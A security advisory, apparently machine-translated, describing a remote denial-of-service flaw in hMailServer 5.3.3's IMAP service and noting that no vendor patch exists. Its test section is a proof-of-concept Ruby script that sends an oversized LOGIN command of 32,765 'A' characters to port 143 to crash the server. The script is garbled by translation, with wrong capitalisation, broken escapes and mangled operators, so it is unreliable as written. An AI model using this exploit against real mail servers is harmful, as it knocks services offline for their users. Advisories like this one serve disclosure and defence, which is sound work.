HMailServer IMAP Remote Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
Hmailserver 5.3.3
Description:
--------------------------------------------------------------------------------
Bugtraq id: 56319

HMailServer is a free email server software in Windows.

HMailServer 5.3.3 and other versions have Remote Denial of Service Vulnerabilities. After successful exploitation, attackers can cause server crashes.

<* Source: john smith (edward11@postmaster.co.uk)
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

#! /Usr/bin/ruby

Require 'socket'

S = TCPSocket. open (ARGV [0], 143)

Cmd = "a LOGIN"
Address = "A" * 32765
Password = "AAAAAAAA \ r \ n"
Logout = "a LOGOUT \ r \ n"

Pkt = cmd
Pkt <address
Pkt <password
Pkt <logout

S. write (pkt)

While resp = s. gets
P resp
End

S. close

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Hmailserver
-----------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Www.hmailserver.com